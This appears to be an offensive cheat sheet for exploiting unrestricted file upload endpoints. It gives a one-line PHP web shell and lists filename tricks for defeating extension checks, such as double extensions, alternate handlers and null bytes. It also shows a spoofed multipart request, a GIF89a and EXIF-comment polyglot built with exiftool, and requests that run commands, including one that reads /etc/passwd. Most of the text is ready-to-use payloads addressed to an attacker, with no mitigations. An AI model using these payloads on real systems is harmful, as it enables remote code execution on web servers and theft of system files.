Unrestricted upload

An upload endpoint that does not firmly control the stored file's extension, content, and location lets an attacker write an executable script into a directory the web server interprets. Requesting that file then runs attacker code in the service account's context.

The minimal payload

A one-line PHP shell is enough to turn a stored file into a command endpoint:

<?php system($_GET['c']); ?>

Once stored at a served path, execution is a single request:

GET /uploads/shell.php?c=id HTTP/1.1

Defeating extension checks

Validation that inspects the filename is brittle. Each of these targets a different weak check.

Double extension. A server that routes on the first dot, or an Apache with a permissive AddHandler, executes the PHP while the check only sees .jpg:

shell.php.jpg
shell.phtml.jpg

Alternate executable extensions. Blocklists often miss the less common handlers that still execute:

shell.phtml
shell.php5
shell.phar
shell.pht

Case variation. A case-sensitive blocklist that bans .php misses mixed case on a case-insensitive filesystem or handler:

shell.pHp
shell.PHP

Trailing dot or space. Windows and some parsers strip a trailing dot or space after the check runs, leaving shell.php on disk:

shell.php.
shell.php%20
shell.asp::$DATA

Null byte (legacy stacks). Against old PHP (before 5.3.4) or C-based handlers, a null truncates the stored name so everything after it is dropped:

shell.php%00.jpg

Content-Type spoofing

When the server trusts the multipart Content-Type header, set it to an allowed type while the body stays a script:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=X

--X
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['c']); ?>
--X--

Magic bytes and polyglots

Checks that sniff the first bytes of the content are beaten by prefixing a valid signature. GIF89a is a plain-text image header, so the file passes an image/gif sniff yet is still valid PHP:

GIF89a
<?php system($_GET['c']); ?>

Give it a double extension if the content check and the extension check are both present:

shell.gif.php

A true polyglot survives stricter parsers and image libraries. Embed PHP in the EXIF comment of a real JPEG, then have the application include it:

exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg -o shell.jpg
mv shell.jpg shell.php

From storage to execution

The write is only half the attack. The stored file must sit under a path the interpreter handles, and you must learn its URL:

  • Watch the upload response for the returned path or filename.
  • Infer the directory from how existing files are served (an avatar at /uploads/42.png implies /uploads/).
  • When names are randomized, abuse a second feature (listing, predictable timestamps) to recover them.

If the upload lands outside the web root, pair it with a local file inclusion sink to execute it, or use an archive extraction flaw to relocate it. Once the URL is known, request it with your command parameter:

GET /uploads/shell.gif.php?c=cat%20/etc/passwd HTTP/1.1

For non-PHP stacks, swap the payload: a .jsp, .aspx, or .jspx shell on Java/.NET, or a .svg with an embedded script for stored XSS when execution is not reachable.

References

Cookie Consent

We use cookies to enhance your experience. Learn more